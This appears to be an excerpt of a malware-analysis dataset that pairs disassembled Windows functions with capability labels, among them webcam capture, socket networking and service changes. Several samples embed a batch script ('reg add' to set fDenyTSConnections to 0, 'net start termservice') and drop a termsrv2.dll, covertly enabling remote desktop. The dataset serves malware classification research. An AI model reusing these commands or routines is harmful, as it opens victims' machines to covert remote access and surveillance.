joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448ca0
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00448df0
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x448cc0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x448ca1
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00448df0
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x448cc0
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x448cf0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x448d47
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x448d5d
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.00448d80
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x448d80
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x448e10
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x448e59
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x4494a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46eac0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00448e80
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00448f00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00448f00
lea ecx, [esi + 0xc]
call fcn.00463c38
lea ecx, [esi + 0x10]
call fcn.00463c38
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0044ba80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0044ba80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0044ba80
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00463cad
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00463cad
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x44a2c8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46ece8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x44a2d8
call fcn.0044a7f0
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x44a3bb
cmp byte [edi], 0
je 0x44a3bb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x44a2fd
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00448ca0
test eax, eax
jne 0x44a31d
push 0x49343c
lea ecx, [esi + 0x38]
call fcn.00463dea
jmp 0x44a3bb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00448cf0
test eax, eax
jne 0x44a34c
mov ecx, esi
call fcn.00448df0
push edi
add esi, 0x38
push 0x493418
push esi
call fcn.0045e5a5
add esp, 0xc
jmp 0x44a3bb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.0044b070
test eax, eax
je 0x44a3b4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.0044a490
test eax, eax
jne 0x44a3d0
push edi
lea eax, [esi + 0x38]
push 0x4933f4
push eax
call fcn.0045e5a5
add esp, 0xc
mov ecx, esi
call fcn.0044a7f0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x44a478
mov ecx, dword [0x493b08]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0045e5a5
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00448da0
test eax, eax
jne 0x44a43a
push 0x4933d8
lea ecx, [esi + 0x38]
call fcn.00463dea
jmp 0x44a44a
push 0xfa
mov ecx, esi
call fcn.0044b070
test eax, eax
jne 0x44a467
mov ecx, esi
call fcn.0044a7f0
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00463cad
jmp 0x44a3bb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00463cad
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x44c6e0
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x44c783
test eax, eax
jbe 0x44c783
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x44c783
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x44c72e
xor esi, esi
jmp 0x44c734
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x44c75f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0044e5f0
add esi, eax
push esi
mov ebx, esi
call fcn.0044e5f0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x44c740
pop ebp
test edi, edi
pop edi
jne 0x44c783
test ebx, ebx
je 0x44c783
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.004505e0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x44c8c5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44c9dd
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44c9dd
mov eax, dword [esi + 0x3c]
push eax
call fcn.00460b77
mov esi, eax
test esi, esi
je 0x44c9dd
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44c9dd
mov ecx, esi
call fcn.0044c830
cmp edi, eax
jge 0x44c9dd
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44c963
mov dword [esp + 0x34], 1
jmp 0x44c9be
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44c9dd
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044bdc0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x46151b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x461553
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00464108
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004640e0
jmp 0x46155f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x462c15
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x462c57
call fcn.0046a2e6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x462c57
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x462c4e
xor eax, eax
jmp 0x462c5f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00462c65
pop edi
pop esi
pop ebx
ret 4

Function at 0x46a9a4
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46a9d2
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46a9f0
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046a90a
jmp 0x46a9f0
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46a9f0
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046a90a
test edi, edi
mov eax, edi
jne 0x46a9da
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4052b0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x40a6c8]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x4052cf
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x40a6c4], 1
mov byte [0x40a6c0], bl
jne 0x405329
mov ecx, dword [0x40aa48]
test ecx, ecx
je 0x405317
mov esi, dword [0x40aa44]
sub esi, 4
cmp esi, ecx
jb 0x405317
mov eax, dword [esi]
test eax, eax
je 0x405310
call eax
mov ecx, dword [0x40aa48]
sub esi, 4
cmp esi, ecx
jae 0x405302
push 0x407014
push 0x407010
call fcn.00405360
add esp, 8
push 0x40701c
push 0x407018
call fcn.00405360
add esp, 8
test ebx, ebx
jne 0x405350
push ebp
mov dword [0x40a6c8], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret
Function at 0x4179e0
Capabilities:
Encrypt data using blowfish

Disassembly:
push esi
push edi
mov dword [0x41d908], 0x10
mov esi, 0x41a3cc
mov edi, 0x41c880
mov ecx, 0x422
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
ret

Function at 0x418b88
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x418bce
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, ebx
call fcn.00418aec
mov eax, dword [ebp - 4]
call fcn.004046fc
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418bd5
lea eax, [ebp - 4]
call fcn.0040423c
ret

Function at 0x418c98
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov edx, ebx
mov eax, esp
call fcn.00407b50
add esp, 0x104
pop ebx
ret

Function at 0x418f4c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push esp
push 0
push 0
push 0x1c
push 0
call sub.SHFolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x101
call fcn.004044ac
add esp, 0x104
pop ebx
ret

Function at 0x40149c
Capabilities:
Encode data using xor

Disassembly:
push 0x454e7c
call fcn.00401496
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi - 0x5d], cl
and esi, dword [esi + 0x44415923]
inc ecx
inc esp
mov edi, 0x9d41397b
add byte [esi - 0x2e], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sub eax, 0x30303043
sub eax, 0x6a6f7250
arpl word gs:[ecx + esi], si
xor byte [esi + esi], dh
jge 0x401509
xor ch, byte [esi]
add byte [eax], al
add byte [eax], al
dec esp
xor dword [eax], eax
add eax, dword [ebx]
das
or ch, bl
jae 0x4014be
xchg ebx, eax
dec edi
sahf
inc edx
movsb byte es:[edi], byte [esi]
cmp dword [edi - 0x1d645826], 0xfe44726a
aam 3
inc edi
xchg esp, eax
invalid
Function at 0x401000
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
sub esp, 0xf4
push esi
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0x9c
call edi
mov esi, eax
test esi, esi
jne 0x401047
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x94
push ecx
call edi
test eax, eax
je 0x401127
cmp dword [esp + 0x20], 2
jne 0x401127
mov eax, dword [esp + 0x14]
cmp eax, 4
jbe 0x401127
cmp eax, 5
jne 0x401127
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x40110a
test esi, esi
je 0x40109d
mov al, byte [esp + 0xaa]
cmp al, 1
je 0x401127
cmp al, 3
jne 0x401127
pop edi
mov eax, 0x1f4
pop esi
add esp, 0xf4
ret
lea edx, [esp + 8]
push edx
push 1
push 0
push str.SYSTEMCurrentControlSetControlProductOptions
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0xac]
push eax
push ecx
push 0
push 0
push str.ProductType
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xac]
push ecx
push str.WINNT
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
neg eax
sbb eax, eax
pop edi
and eax, 0x64
pop esi
add eax, 0x190
add esp, 0xf4
ret
cmp eax, 1
jne 0x40111d
pop edi
mov eax, 0x1f5
pop esi
add esp, 0xf4
ret
cmp eax, 2
mov eax, 0x1f6
je 0x40112c
mov eax, 0x190
pop edi
pop esi
add esp, 0xf4
ret

Function at 0x401140
Capabilities:
Modify service
Query service status
Start service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x401162
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
push 0xf01ff
push 0x419108
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401180
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [esp + 0xc]
push eax
push esi
call edi
cmp dword [esp + 0x10], 4
jne 0x4011a1
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1c
ret
push str.Terminal_Services
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4011e3
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
lea ecx, [esp + 0xc]
push ebp
push ecx
push esi
call edi
cmp eax, 1
jne 0x401238
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x28]
push edx
call ebp
cmp dword [esp + 0x14], 4
je 0x40121f
lea eax, [esp + 0x10]
push eax
push esi
call edi
cmp eax, 1
je 0x4011f7
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1c
ret
push str.start_success
call fcn.0040266a
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x401590
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push 0x419198
push 0x66
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x40163c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov edi, str.c:windows_system32_termsrv2.dll
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x14]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x80
and ecx, 3
push 2
rep movsb byte es:[edi], byte [esi]
push 0
push 0
lea ecx, [esp + 0x28]
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40163c
lea edx, [esp + 0x10]
push 0
push edx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x401d40
Capabilities:
Create process on windows
Set registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x414110
push eax
mov dword fs:[0], esp
sub esp, 0x6c
push ebx
call fcn.00401140
xor ebx, ebx
cmp eax, ebx
je 0x401ed0
lea ecx, [esp + 0xc]
call fcn.0040df67
push ebx
push 0x1001
push str.c:windows_system32_ter.bat
lea ecx, [esp + 0x18]
mov dword [esp + 0x84], ebx
call fcn.0040e079
test eax, eax
je 0x401ebf
mov eax, dword [0x419844]
mov dword [esp + 4], eax
push str.reg_add_HKLMSYSTEMCurrentControlSetControlTerminal___Server__v_fDenyTSConnections__t_REG_DWORD__d_00000000__f_r_n
lea ecx, [esp + 8]
mov byte [esp + 0x7c], 1
call fcn.0040ed37
push str.shutdown__a_r_n
lea ecx, [esp + 8]
call fcn.0040edfb
push str.net_start_termservice
lea ecx, [esp + 8]
call fcn.0040edfb
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040e1d0
lea ecx, [esp + 0xc]
call fcn.0040e294
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.c:windows_system32_ter.bat
push ebx
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x80], 1
mov word [esp + 0x84], bx
mov word [esp + 0x86], bx
mov dword [esp + 0x88], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, ebx
je 0x401ea8
mov eax, dword [esp + 0x20]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x20]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp + 0x20]
push ecx
call esi
push str.c:windows_system32_ter.bat
call fcn.0040e3a5
lea ecx, [esp + 8]
mov byte [esp + 0x7c], bl
call fcn.0040ec4a
lea ecx, [esp + 0x10]
mov dword [esp + 0x7c], 0xffffffff
call fcn.0040dfbc
pop esi
pop ebx
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
add esp, 0x78
ret
push str.c:windows_system32_ter.bat
call fcn.0040e3a5
lea ecx, [esp + 4]
mov byte [esp + 0x78], bl
call fcn.0040ec4a
lea ecx, [esp + 0xc]
mov dword [esp + 0x78], 0xffffffff
call fcn.0040dfbc
mov ecx, dword [esp + 0x70]
pop ebx
mov dword fs:[0], ecx
add esp, 0x78
ret
Function at 0x402db0
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x402ded
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.KERNEL32.dll_GetCurrentDirectoryA
push esp
call sub.KERNEL32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.KERNEL32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402e0d
lea eax, [esp + 0x109]
push eax
call sub.KERNEL32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404b5c
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x403018
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004048ec
test esi, esi
jne 0x40304f
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.004049dc
jmp 0x403070
call sub.KERNEL32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.00402eb4
mov dword [esp], eax
test esi, esi
je 0x403070
cmp dword [ebx], 0
je 0x403070
dec esi
jmp 0x403057
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x4033a8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x59e008], 0x8088405
inc edx
mov dword [ebx + 0x59e008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4038e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x59e024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403980
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x403960
xor eax, eax
push ebp
push 0x403959
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40399c
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403960
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegCloseKey
ret
mov ax, word [0x59e024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x59e024], ax
mov esp, ebp
pop ebp
ret

Function at 0x4046c4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x5a604c], 0
je 0x404725
cmp word [0x5a6220], 0xd7b2
jne 0x4046ed
cmp dword [0x5a6228], 0
jbe 0x4046ed
mov eax, 0x5a621c
call dword [fcn.005a6238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x59e070
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40474c
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
pop edx
ret
cmp byte [0x59e034], 0
jne 0x404741
push 0
push 0x59e068
push 0x59e070
push 0
call sub.USER32.dll_MessageBoxA
pop edx
ret
Function at 0x4048a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402b78
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x5a604d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404868
push eax
push esi
push ebx
call sub.KERNEL32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc